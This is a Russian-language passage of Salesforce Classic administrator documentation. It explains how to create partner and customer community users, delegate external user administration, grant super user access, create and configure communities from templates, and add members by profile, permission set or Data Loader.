Предоставление пользователям массового сообщества доступа к записям
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Основы настройки сообщества

Создание пользователей сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать
пользователя-партнера,
выполните указанные ниже
действия.
• “Управление внешними

пользователями»

Чтобы создать
пользователя-клиента,
выполните указанные ниже
действия.
• “Управление внешними

пользователями»

ИЛИ

«Редактирование
пользователей портала
самообслуживания»

Важное
замечание: При
создании
пользователей-клиентов
организация,
связанная с новым
контактом,
должна иметь
ответственного за
организацию,
назначенного
роли.

Для входа в качестве
внешнего пользователя:
• «Управление

пользователями»

И

«Редактирование» для
организаций

Чтобы предоставить внешнему пользователю доступ к сообществу, рекомендуем
включить записьконтакта внешнегопользователяв качествепользователя-клиента
или пользователя-партнера на основе типа его лицензии. Сообщество может
содержать пользователей с лицензиями Partner Community, Customer Community и
Customer Community Plus.

Если у вашей организации есть организации-лица, их невозможно использовать
в качестве организаций-партнеров или создавать связанных с ними
пользователей-партнеров. Вкачествеорганизаций-партнеровможноиспользовать
только организации-компании.

1. Чтобы создать пользователя-партнера, выполните указанные ниже действия.

a. Выберите нужную внешнюю организацию.

b. Создайте контакт. Нажмите кнопку «Создатьконтакт» в связанномсписке
«Контакты». Заполните поля и нажмите кнопку «Сохранить».

Прим.: Организация, котораяне являетсяпартнером, неможетвладеть
контактом партнера.

Организации-лица не могут владеть пользователями-партнерами.

c. Нажмите кнопку «Управление внешним пользователем» на странице
сведений о контакте и выберите пункт «Включить
пользователя-партнера».

Прим.: Если кнопка «Включить пользователя-партнера» не
отображается, попросите администратора проверить, включена ли
она в макет страницы «Контакт».

d. Измените запись пользователя для данного внешнего пользователя.

• Выберите лицензию Partner Community.

• Выберите соответствующий профиль. Помните, что профили
предоставляютпользователямдоступ ко вкладкам сообщества, поэтому
выберите профиль, который поддерживает соответствующие вкладки.

Прим.: Внешнимпользователямдоступентолькопрофиль Partner
Community User или профили на его основе. В отличие от
стандартного пользователя, роль пользователя-партнера
назначается автоматически на основе имени организации. Роль
пользователя-партнера подчиняется роли ответственного за
организацию. Таким образом, все данные роли
пользователя-партнера сводятся к роли владельца
организации-партнера. Отключение пользователя-партнера
инициируетустареваниеролипользователя-партнера, а егоданные
больше не сводятся для роли организации-партнера.

• Чтобызапретитьпользователямполучатьпаролидоактивациисообщества, снимитефлажок «Создатьпароль
инемедленноуведомитьпользователя». Чтобыразрешитьотправкуприветственныхсообщенийэл. почты,
содержащих регистрационные данные, при активации сообщества, установите флажок «Отправить
приветственное сообщение эл. почты» для нужного сообщества.
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Прим.: Система Salesforce отправляет сообщение эл. почты только участникам сообществ со статусом
«Активно».

Сообщение эл. почты, содержащее регистрационные данные, отправляется пользователю только при
наличиифлажка «Отправить приветственное сообщение эл. почты», установленногодля сообщества.
В противном случае, регистрационные данные должны быть отправлены вручную.

e. Нажмите кнопку «Сохранить».

Прим.: Создание внешнего пользователя с лицензией Customer Community Plus аналогично созданию
пользователя-партнера. Нажмитекнопку«Управлениевнешнимпользователем» в записиконтактаивыберите
пункт «Включить пользователя-партнера». Кроме того, при редактировании записи пользователя выберите
профиль Partner Community User или другой профиль на его основе.

2. Чтобы создать пользователя-клиента, выполните указанные ниже действия.

a. Создайте контакт.

b. Нажмите кнопку «Управление внешним пользователем» на странице сведений о контакте и выберите пункт
«Включить пользователя-клиента».

Прим.: Если кнопка «Включить пользователя-клиента» не отображается, попросите администратора
проверить, включена ли она в макет страницы «Контакт».

c. Измените запись пользователя для данного внешнего пользователя.

• Выберите соответствующийпрофиль. Пользователямдоступен толькопрофиль «Пользователь клиентского
сообщества» или клонированные профили.

Помните, что профили предоставляют пользователям доступ ко вкладкам сообщества, поэтому выберите
профиль, который поддерживает соответствующие вкладки.

• Чтобызапретитьпользователямполучатьпаролидоактивациисообщества, снимитефлажок «Создатьпароль
инемедленноуведомитьпользователя». Чтобыразрешитьотправкуприветственныхсообщенийэл. почты,
содержащих регистрационные данные, при активации сообщества, установите флажок «Отправить
приветственное сообщение эл. почты» для нужного сообщества.

Прим.: Система Salesforce отправляет сообщение эл. почты только участникам сообществ со статусом
«Активно».

Сообщение эл. почты, содержащее регистрационные данные, отправляется пользователю только при
наличиифлажка «Отправить приветственное сообщение эл. почты», установленногодля сообщества.
В противном случае, регистрационные данные должны быть отправлены вручную.

d. Нажмите кнопку «Сохранить».

Прим.: Пользователям-клиентамне отображается связанный список организацийили контактов «Примечания
и вложения».

Чтобыустранитьнеполадкиилипроверитьправильностьнастройкисообщества, нажмитекнопку«Управлениевнешним
пользователем» на странице сведений о контакте и выберите пункт «Войти как пользователь-партнер» или «Войти
как пользователь-клиент». Вход в качестве пользователя-партнера или пользователя-клиента доступен только при
наличии полномочия «Редактирование» для организаций. Данное действие открывает новое окно обозревателя и
выполняет автоматический вход в сообщество от имени внешнего пользователя.
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Пользователю, вошедшему от имени внешнего пользователя, доступны те же алгоритмы, что внешнему пользователю.
Например, раскрывающееся меню «Сообщество» отображается внешним пользователям только при наличии доступа к
нескольким сообществам со статусом «Активно». Кроме того, если внешнему пользователю, являющемуся участником
толькоодного сообщества со статусом «Активно», предоставляется URL-адрес сообщества со статусом «Предварительный
просмотр», топривыборесообществасостатусом «Предварительный просмотр» раскрывающеесяменюнеотображается.

Прим.: После выполнения входа от имени другого пользователя администраторыне могут авторизовывать доступ
к данным OAuth для данного пользователя. Например, администраторынемогут авторизовывать доступ к OAuth для
учетных записей пользователей, включая единую регистрацию в сторонних приложениях.

Ниже перечислены рекомендации по созданию внешних пользователей.

• Внешние пользователи не могут быть удалены. Чтобы запретить внешнему пользователю доступ к сообществу,
рекомендуем деактивировать пользователя.

СМ. ТАКЖЕ:

Делегирование прав администрирования внешних пользователей

Добавление участников в сообщество

Как внешние участники сообщества получают регистрационные данные?

Восстановление пароля внешнего пользователя в сообществах

Делегирование прав администрирования внешних пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления внешними
пользователями:
• “Управление внешними

пользователями»

Для создания,
редактирования и удаления
профилей:
• «Управление

профилями и наборами
полномочий»

Чтобы разрешить внешним пользователям определять доступность сообщества,
рекомендуем делегировать им права администрирования пользователей.

Ниже перечислены действия, доступные внешним пользователям, которые являются
делегированными администраторами.

• Создание внешних пользователей

• Редактирование внешних пользователей

• Сброс паролей для внешних пользователей

• Деактивация текущих внешних пользователей

Делегированное право администрирования внешних пользователей может быть
предоставлено пользователям с лицензиями «Партнерское сообщество», «Клиентское
сообщество плюс», «Золотой партнер», «Управление предприятием» и «Менеджер
клиентского портала».

1. Введите строку «Профили» вполе «Быстрый поиск» вменю «Настройка», выберите
«Профили» ищелкните настраиваемый профиль.

Стандартные профили не могут быть изменены.

Добавьтеполномочие «Делегированный администратор внешних пользователей»
в набор полномочий, назначаемый стандартному профилю.

2. Нажмите кнопку «Правка».

3. Установите флажок «Делегированный администратор внешних пользователей».

4. Нажмите кнопку «Сохранить».

5. Нажмитекнопку«Правка» в связанномсписке «Профилиделегированныхвнешних
пользователей».
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6. Выберите нужные профили.

7. Нажмите кнопку «Сохранить».

Ниже перечислены рекомендации по настройке делегированного администрирования внешних пользователей.

• При необходимости предоставьте права делегированного администрирования посредством наборов полномочий.

• Выполните указанные ниже действия в профиле, которому предоставляются права делегированного
администрирования.

– Чтобыразрешитьделегированнымадминистраторамсозданиеиобновлениеконтактов, связанныхсорганизацией,
добавьте полномочия «Создание» и «Редактирование» для контактов.

– Чтобы разрешить делегированным администраторам просмотр вкладок «Организации» и «Контакты», а также
управлениеконтактами, связаннымисихорганизациями, выберите значение «Включеныстандартныепараметры»
для вкладок «Организации» и «Контакты».

• Добавьте вкладки «Организации» и «Контакты» в сообщество.

• Чтобыразрешитьделегированнымадминистраторамвнешнихпользователейпросмотртолькоопределенныхполей
организаций и контактов, настройте параметры безопасности поля и макеты страниц.

СМ. ТАКЖЕ:

Создание пользователей сообществ

Предоставление доступа суперпользователя пользователям-партнерам сообщества

Предоставление доступа суперпользователя пользователям-партнерам сообщества

Преждечемпредоставитьпользователямдоступ, рекомендуемвключитьдоступсуперпользователя-партнеравпараметрах
сообществ. Рекомендуемиспользоватьданнуюинформациюдляпредоставлениядоступасуперпользователяпользователям
слицензиямиPartner Community. Принеобходимостипредоставьте доступ суперпользователяпользователямсообщества
с лицензиями Customer Community Plus. Дополнительную информацию см. в разделе «Предоставление доступа
суперпользователя пользователям-клиентам сообщества».

Внешние пользователи сообщества, которым предоставляется доступ суперпользователя, могут просматривать
дополнительные данные и записи, независимо от заданных правил общего доступа и единых стандартных параметров.
Суперпользователимогутпросматриватьданные, принадлежащиедругимпользователям-партнерамтойжеорганизации,
которым назначается такая же или нижестоящая роль в иерархии ролей. Доступ суперпользователя применяется только
кобращениям, интересам, настраиваемымобъектамивозможностям. Данныеобъектыдоступнывнешнимпользователям
только путем настройки профилей или правил общего доступа и добавления вкладок в сообщество.

1. Откройте запись контакта для пользователя.

2. Нажмитекнопку«Управлениевнешнейорганизацией»ивыберитепункт«Включитьдоступсуперпользователя».

3. Нажмите кнопку «OK».

Предоставление доступа суперпользователя пользователям-клиентам сообщества

Чтобыпредоставить внешнимпользователям сообществ доступ к дополнительным записями данным, включите доступ
суперпользователя.

Доступ суперпользователя-клиента может быть предоставлен только пользователям с лицензиями Customer Community
Plus.

Дополнительную информацию о предоставлении доступа суперпользователя пользователям с лицензиями Partner
Community см. в разделе «Предоставление доступа суперпользователя пользователям-партнерам сообщества».
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Полномочие «Суперпользователь портала» позволяет делегированным администраторам внешних пользователей
выполнять указанные ниже действия над собственными организациями.

• Просмотр, редактирование и перенос всех обращений

• Создание обращений для контактов

• Просмотр и редактирование всех контактов (независимо от наличия связи с сообществами)

• Просмотр сведений об организациях, являющихся контактами обращения

• Составление отчетов по всем контактам (независимо от поддержки портала), если вкладка «Отчеты» добавлена в
сообщество, а пользователю назначено полномочие «Запуск отчетов»

Чтобы предоставить пользователям с лицензией Customer Community Plus доступ к собственным организациям, а также
разрешить просмотр и редактирование всех связанных обращений и контактов, но запретить управление другими
внешними пользователями, добавьте полномочие «Суперпользователь портала» в набор полномочий и назначьте его
соответствующим пользователям.

1. Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Наборы
полномочий».

2. Создайте или клонируйте набор полномочий.

3. Добавьте полномочие «Суперпользователь портала» в разделе «Полномочия приложения».

4. Нажмите кнопку «Сохранить».

5. Чтобы назначить набор полномочий пользователям с лицензией Customer Community Plus, нажмите кнопку
«Управление назначениями» и добавьте соответствующих пользователей.

Создание сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Созданиесообществспомощьюмастера, которыйпоможетвыбратьшаблонсообщества
в соответствии с бизнес-требованиями.

Количество сообществ, доступных для создания, определяется на странице «Все
сообщества» меню «Настройка».

1. Для создания сообществ введите строку «Сообщества» в поле «Быстрый поиск» в
меню «Настройка», выберите пункт «Всесообщества»инажмите кнопку «Создать
сообщество».
Данное действие инициирует отображение мастера создания сообщества,
позволяющего выбирать нужный вариант шаблона.

2. Чтобы просмотреть дополнительнуюинформацию ошаблоне, наведите указатель
мыши на нужныйшаблон.

Kokua
Визуальнообогащенныйадаптивныйшаблонсамообслуживания, позволяющий
пользователямискатьипросматриватьстатьиилиобращатьсявслужбуподдержки
при отсутствии искомых статей. Данныйшаблон поддерживает базу знаний и
обращения.

Koa
Текстовыйадаптивныйшаблонсамообслуживания, позволяющийпользователям
искать и просматривать статьи или обращаться в службу поддержки при
отсутствии искомых статей. Данныйшаблон поддерживает базу знаний и
обращения.
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Napili
Многофункциональный адаптивныйшаблон самообслуживания, позволяющий пользователям публиковать
вопросыв сообщество, искатьипросматривать статьи, а также создавать обращениядляотправки агентам службы
поддержки. Данныйшаблон поддерживает базу знаний, обращения, вопросы и ответы.

Aloha
Настраиваемыйшаблонсредствазапускаприложений, позволяющийпользователямбыстронаходитьприложения
и получать к ним доступ путем использования проверки подлинности посредством единой регистрации.

Вкладки Salesforce + Visualforce
Стандартная структура Salesforceивкладки, которыемогутбытьнастроеныпосредствомVisualforce. Данныйшаблон
поддерживает основные стандартные объекты, настраиваемые объекты и приложение Salesforce1.

3. Наведите указатель мыши на нужныйшаблон и нажмите кнопку «Выбрать».

4. При выборе шаблона Koa или Kokua укажите категории и название компании, а затем нажмите кнопку «Далее».

Имя группы категорий
Уникальное имя группы категорий данных, содержащей категории данных для сайта. Имя отображает иерархию
категорий, настроенных для сообщества, и используется по всему сайту для систематизации статей.

Категория верхнего уровня
Категория верхнего уровня, выбранная для отображения. Сообщество отображает только ее дочерние категории.
Данная категория может быть дополнена несколькими вложенными уровнями категорий, но на странице она
будет отображаться как родительская, а ее подкатегории как дочерние.

Название компании
Это имя компании, которое будет отображаться в заголовке сообщества.

5. Введите имя сообщества.

Прим.: При создании нескольких сообществ помните, что имена сообществ могут отображаться в
раскрывающемся меню общего верхнего колонтитула усеченными. Пользователи могут видеть не более
32 символов имени; данное количество также охватывает индикаторы статуса «Предварительный просмотр» и
«Неактивно». Убедитесь, чтоотображаемойчастиименидостаточнодляправильнойидентификациисообщества.

6. Дополните значение поля «URL-адрес» уникальным значением.

Данное значениедобавляется к домену, введенномупривключениисообществ, для создания уникального URL-адреса
данногосообщества. Например, клиентскоесообщество, созданноевдомене UniversalTelco.force.com, может
обозначаться следующим URL-адресом: UniversalTelco.force.com/customers.

Прим.: При необходимости создайте одно сообщество, которое не использует настраиваемый URL-адрес.

Принеобходимостиизменитеимяи URL-адрес активированногосообщества; новый URL-адресбудетнедоступен
дляпереадресации. Рекомендуемвноситьданныеизменениятолькопослеуведомленияучастниковсообщества.

7. Нажмите кнопку «Создать сообщество».
Созданному сообществу назначается статус «Предварительный просмотр».

8. Чтобынастроитьсообщество, щелкните«Перейтикуправлениюсообществом»настраницеподтверждения. При
выборе любого шаблона, кроме шаблона «Вкладки Salesforce + Visualforce», сообщество может быть настроено
посредством конструктора сообществ.

При создании сообщества стандартные страницы для входа, самостоятельной регистрации, изменения пароля и
восстановленияпароля, а такженачальнаястраница, определяютсяшаблономсообщества. Чтобынастроитьилиизменить
данные стандартные страницы, воспользуйтесь страницей «Управление сообществом».
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Важное замечание: Присозданиисообществапрофильтекущегопользователя автоматическидобавляется в список
профилей, которымпредоставляетсядоступ. Такимобразом, возможностьвходавсообществосостатусом «Активно»
предоставляется всемпользователяморганизациисданнымпрофилем. Чтобызапретитьдоступвсемпользователям
сданнымпрофилем, рекомендуемудалитьпрофильипредоставить себе доступпосредствомдругогопрофиляили
набора полномочий.

СМ. ТАКЖЕ:

Общие сведения о сообществах Salesforce

Настройка сообществ

Как определить количество сообществ, доступных моей организации?

Сравнение компонентов, доступных в шаблонах сообщества

Руководство по внедрению: использование шаблонов для создания сообществ

Руководство по внедрению: начало работы с шаблоном сообщества Aloha для Salesforce Identity

Как определить количество сообществ, доступных моей организации?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

You can have up to 50 communities in your Salesforce org. Active, inactive, and preview communities,
includingForce.com sites, count against this limit.

To see this limit in your org, from Setup enter Communities  in the Quick Find  box, then
select All Communities. The Maximum number of communities  field displays 50.

СМ. ТАКЖЕ:

Создание сообществ
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Создание сообщества посредством предварительно настроенного шаблона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

Для создания типов статей
и действий над статьей:
• «Управление Salesforce

Knowledge»

Для создания категорий
данных:
• «Управление

категориями данных»

Создайте сообщество и выберите шаблон для применения к сообществу. Определите
шаблон и свойства сообщества, а затем воспользуйтесь конструктором сообществ для
завершения процессов организации и оформления сообщества.

1. Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»,
выберите пункт «Все сообщества» ищелкните «Новое сообщество».
Данное действие инициирует отображение мастера создания сообщества,
позволяющего выбирать нужныйшаблон.

2. Чтобы просмотреть дополнительнуюинформацию ошаблоне, наведите указатель
мыши на нужныйшаблон.

Kokua
Визуальнообогащенныйадаптивныйшаблонсамообслуживания, позволяющий
пользователямискатьипросматриватьстатьиилиобращатьсявслужбуподдержки
при отсутствии искомых статей. Данныйшаблон поддерживает базу знаний и
обращения.

Koa
Текстовыйадаптивныйшаблонсамообслуживания, позволяющийпользователям
искать и просматривать статьи или обращаться в службу поддержки при
отсутствии искомых статей. Данныйшаблон поддерживает базу знаний и
обращения.

Napili
Многофункциональныйадаптивныйшаблонсамообслуживания, позволяющий
пользователям публиковать вопросы в сообщество, искать и просматривать
статьи, а также создавать обращения для отправки агентам службы поддержки.
Данныйшаблон поддерживает базу знаний, обращения, вопросы и ответы.

Aloha
Настраиваемыйшаблон средства запуска приложений, позволяющий
пользователям быстро находить приложения и получать к ним доступ путем
использования проверки подлинности посредством единой регистрации.

Вкладки Salesforce + Visualforce
Стандартная структура Salesforceивкладки, которыемогутбытьнастроеныпосредствомVisualforce. Данныйшаблон
поддерживает основные стандартные объекты, настраиваемые объекты и приложение Salesforce1. Помните, что
шаблон «Вкладки Salesforce + Visualforce» опираетсяна стандартнуюструктурувкладок Salesforceинеподдерживает
конструктор сообществ.

3. Наведите указатель мыши на нужныйшаблон и нажмите кнопку «Выбрать».

4. При выборе шаблона Koa или Kokua укажите категории и название компании.

Имя группы категорий
Уникальное имя группы категорий данных, содержащей категории данных для сайта. Имя отображает иерархию
категорий, настроенных для сообщества, и используется по всему сайту для систематизации статей.

Категория верхнего уровня
Категория верхнего уровня, выбранная для отображения. Сообщество отображает только ее дочерние категории.
Данная категория может быть дополнена несколькими вложенными уровнями категорий, но на странице она
будет отображаться как родительская, а ее подкатегории как дочерние.

3440

Основы настройки сообществаНастройка и управление сообществами Salesforce



Название компании
Это имя компании, которое будет отображаться в заголовке.

5. Нажмите кнопку «Далее».

6. Введите имя и дополнительный URL-адрес для сообщества.
Выбор данного параметра инициирует автоматическое обновление параметров сообщества посредством URL-адреса
созданных настраиваемых страниц. Чтобы переопределить данную страницу входа другой страницей входа,
воспользуйтесь параметрами сообщества. Дополнительныеинструкциипо созданиюнастраиваемых страниц входа,
выхода и самостоятельной регистрации для сообщества см. в документе «Начало работы с сообществами».

7. Нажмите кнопку «Создать сообщество».
Созданному сообществу назначается статус «Предварительный просмотр».

8. Чтобы настроить сообщество, щелкните «Перейти к управлению сообществом» на странице подтверждения.

При выборе шаблона Napili рекомендуем использовать страницу «Управление сообществом» для настройки тем,
отображающихся в меню навигации или на начальной странице.

Рекомендуем использовать страницу «Управление сообществом» для настройки параметров сообщества (например,
стандартные страницы входа и регистрации, верхний и нижний колонтитулы, шаблоны эл. почты).

Чтобы опробовать другойшаблон, откройте страницу «Управление сообществом» и измените свой выборшаблона. Не
волнуйтесь! Принеобходимостипервыйвыбранныйшаблонможетбытьбыстровосстановлен. Простозадайтеначальной
странице исходный URL-адрес в разделе «Конфигурация сайта» среды Site.com Studio.

Важное замечание: Присозданиисообществапрофильтекущегопользователя автоматическидобавляется в список
профилей, которымпредоставляетсядоступ. Такимобразом, возможностьвходавсообществосостатусом «Активно»
предоставляется всемпользователяморганизациисданнымпрофилем. Чтобызапретитьдоступвсемпользователям
сданнымпрофилем, рекомендуемудалитьпрофильипредоставить себе доступпосредствомдругогопрофиляили
набора полномочий.

СМ. ТАКЖЕ:

Навигация по конструктору сообществ

Оформление сообщества в фирменном стиле посредством конструктора сообществ

Руководство по внедрению: начало работы с шаблоном сообщества Aloha для Salesforce Identity

Общие сведения о конструкторе сообществ

Редактирование страниц и компонентов сообщества в конструкторе сообществ

Установка активных страниц для сообщества в конструкторе сообществ

Управление страницами сообщества в конструкторе сообществ
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Настройка сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:

• “«Управление
сообществами» ИЛИ
«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки параметров
администрирования или
использования конструктора
сообществ:

• “«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

В разделе «Администрирование» на странице «Управление сообществом» можно
обновить основные настройки сообщества (например, URL-адрес, имя сообщества,
участников, варианты входа и общие настройки).

Сообщество может быть настроено в любое время. Прежде чем вносить важные
изменения, рекомендуем сначала деактивировать сообщество.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Щелкните «Администрирование» и выберите нужную область сообщества.

Важное замечание: Параметры, доступные на странице «Управление
сообществом», определяютсявыбраннымшаблономсообщества, назначенными
полномочиями и выполненными настройками. Например, меню «Темы»
доступно только сообществам, использующим темы. Некоторые из
перечисленных ниже параметров могут быть неприменимы в сообществе.
Чтобы показать все меню, последовательно выберите пункты
«Администрирование» > «Настройки»иустановитефлажок «Показатьвсе
параметры на странице управления сообществом».

• Участники

• Вкладки

• Фирменный стиль

• Вход и регистрация

• Сообщения эл. почты

• Страницы

• Настройки

• Параметры

Прим.: Чтобы выполнить расширенную настройку (например, добавление
настраиваемых страниц или страниц, которые не требуют входа), откройте
меню «Управление сообществом» в общем верхнем колонтитуле управления
сообществом и нажмите «Перейти к Force.com» или «Перейти к Site.com
Studio» для перехода к сайту, связанному с этим сообществом. При
использованиишаблонов Aloha, Koa, Kokua или Napili выберитепункт «Перейти
к конструктору сообществ» для настройки сообщества.

3. Для совместного использования сообщества со статусом «Предварительный просмотр» скопируйте отображенный
URL-адрес со страницы «Параметры > администрирования» и разошлите его.

Даннаявозможностьпозволяетполучатьотзывыпользователей, а также заранеенаполнятьсообществосообщениями,
комментариями и записями, доступными участникам активного сообщества уже при первом входе.

Помните, что URL-адрес может передаваться только пользователям, добавленным в качестве участников сообщества.
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Чтобы предоставить участникам доступ к настроенному сообществу, выполните его активацию. Если организация
использует приветственные сообщения эл. почты, то активация сообщества инициирует отправку приветственного
сообщения эл. почты всем его участникам. Приветственное сообщение эл. почты, отправляемое новым пользователям
портала, содержит имя пользователя и пароль.

Добавление участников в сообщество

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Профили и наборы полномочий позволяют управлять участниками сообщества во
время процесса настройки.

Нижеперечисленыдействия, доступныепосредствомпрофилейинаборовполномочий.

• Предоставление или отмена доступа для группы пользователей. Все пользователи,
назначенные добавленному профилю или набору полномочий, становятся
участниками сообщества.

• Применениеполитикипринадлежности. Добавлениеновыхпользователейвпрофиль
или набор полномочий, связанный с сообществом, инициирует автоматическое
предоставление доступа.

Наборы полномочий расширяют возможности добавления участников. Профили
позволяют предоставлять группе пользователей доступ к сообществу без их
предварительного клонирования.

Стандартные профили, профили Chatter и профили портала могут быть добавлены в
сообщества; клиенты Chatter из личных групп, содержащих клиентов, не могут быть
добавлены в сообщества даже при назначении наборов полномочий, связанных с
сообществами.

Прим.: Профили и наборы полномочий, связанные с сообществами, не могут
быть удалены из системы Salesforce. Рекомендуем сначала удалить профили или
наборы полномочий из сообществ.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
ивыберитепункт«Всесообщества». Затемщелкнитессылку«Управление»напротивименинужногосообщества.

2. Последовательно выберите пункты «Администрирование» > «Участники».

3. Чтобы добавить участников посредством профилей, выполните указанные ниже действия.

a. Чтобы отфильтровать профили, выберите нужный тип профиля из раскрывающегося меню. Чтобы найти
конкретный профиль, введите поисковый запрос и нажмите кнопку «Найти».

Поиск возвращает профили для выбранного фильтра.

Прим.: Результаты поиска содержат профили, которые уже являются частью сообщества.

b. Выберите нужные профили. Чтобы выбрать несколько профилей, нажмите клавишу CTRL.

c. Нажмите кнопку «Добавить». Чтобыудалитьпрофиль, выберитенужныйпрофильинажмите кнопку «Удалить».

Пользователи профиля, который удаляется из сообщества, теряют доступ к сообществу, если им не назначены
наборыполномочийилидругиепрофили, которыевсеещеиспользуютсясообществом. Сообщенияикомментарии
данных пользователей сохраняются.

3443

Основы настройки сообществаНастройка и управление сообществами Salesforce



Важное замечание: Администратор, удаливший себя из сообщества, не может просматривать параметры
меню «Администрирование» на странице «Управление сообществом». Чтобы добавить себя обратно в
сообщество или выполнить другие обновления для состава участников, воспользуйтесь интерфейсом API.

4. Чтобы добавить участников посредством наборов полномочий, выполните указанные ниже действия.

a. Чтобы найти конкретный набор полномочий, введите поисковый запрос и нажмите кнопку «Найти».

b. Выберите нужные наборыполномочий. Чтобы выбрать несколько наборов полномочий, нажмите клавишу CTRL.

c. Нажмите кнопку «Добавить».

Пользователи набора полномочий, который удаляется из сообщества, теряют доступ к сообществу, если им не
назначены профили или другие наборы полномочий, которые все еще используются сообществом. Сообщения
и комментарии данных пользователей сохраняются даже после отмены доступа.

5. Нажмите кнопку «Сохранить».

Если организация поддерживает приветственные сообщения эл. почты, то добавление профилей или наборов
полномочий в сообщество со статусом «Активно» инициирует отправку приветственного сообщения эл. почты
соответствующим пользователям. Приветственное сообщение эл. почты содержит имя пользователя и ссылку для
изменения пароля (при отправке внешнему пользователю, который все еще не выполнил вход на портал или в
сообщество).

Сообщество со статусом «Активно» поддерживает отправку приветственных сообщений эл. почты и может быть
обнаружено участниками. Сообщество со статусом «Предварительный просмотр» доступно только участникам
посредством URL-адреса входа. Сообщество со статусом «Неактивно» доступно только пользователям с полномочием
«Создание и настройка сообществ» посредством меню «Сообщество».

Ниже перечислены дополнительные способы предоставления доступа к сообществу.

• Включение самостоятельной регистрации, позволяющей внешним пользователям регистрироваться без помощи
администратора

• Включение поставщиков проверки подлинности (например, Facebook), позволяющих внешним пользователям
выполнять вход в сообщество без создания организации

Дополнительную информацию см. в разделе «Настройка страниц входа, выхода и самостоятельной регистрации в
сообществе».

СМ. ТАКЖЕ:

Настройка сообществ

Включение общего верхнего колонтитула для сообществ

Как обновить состав участников сообщества посредством интерфейса API?

Страница«Управлениесообществом», позволяющаяобновлятьпараметрыадминистрирования, включаясоставучастников,
доступнатолькоучастникамсообщества. ВкачествеальтернативырекомендуемиспользоватьинтерфейсAPIиприложение
Data Loader для обновления состава участников сообщества.

Совет: При необходимости воспользуйтесь другими загрузчиками данных для обновления состава участников
сообщества.

1. Получите networkId для сообщества.
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Вменю «Настройка» введите «Все сообщества» вполе «Быстрый поиск», выберите «Всесообщества», затемщелкните
правой кнопкой мыши URL-адрес сообщества и выберите «Проверить». Свойство data-networkId содержит
networkId.

2. Получите profileId или permissionsetId для добавления.

В меню «Настройка» введите «Профили» в поле «Быстрый поиск», затем выберите «Профили» или «Наборы
полномочий». Щелкнитеимянужногопрофиляилинабораполномочий. Кодомявляетсяпоследняячасть URL-адреса.

Например, URL-адрес moyakompaniya.salesforce.com/00aa11bb22 содержит код 00aa11bb22.

3. Создайте CSV-файл со столбцами для networkId и parentId. Укажите нужный profileId или
permissionsetId для parentId.

4. ОткройтеприложениеData Loaderивыберитеобъект «Группаучастниковсети». Укажитерасположениесозданного
CSV-файла и выполните действия, отображаемые приложением Data Loader.

После успешного добавления участников посредством приложения Data Loader участникам будет доступна страница
«Управление сообществом» по ссылке «Управление» на странице «Все сообщества» меню «Настройка».

Прим.: Обратите внимание, что страница «Управление сообществом» доступна участникам только при наличии
полномочия «Создание и настройка сообществ» или «Управление сообществами».

СМ. ТАКЖЕ:

Вставка, обновление или удаление данных посредством приложения Data Loader

Добавление вкладок в сообщество

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

При использованиишаблона «Вкладки Salesforce + Visualforce» система позволяет
добавлять вкладки в сообщество.

Совет: При необходимости сообщество может использовать все настраиваемые
страницыи скрывать вкладки. Чтобыопределитьнаиболее оптимальныйвариант,
воспользуйтесь разделом «Вкладки и конструктор сообществ» на странице 3446.

Перед началом работы ознакомьтесь со следующими рекомендациями.

• Включаемыевкладкидолжнысоответствоватьтипудействия, выполняемоговданном
сообществе — будь то предоставление партнерам общего доступа к организациям
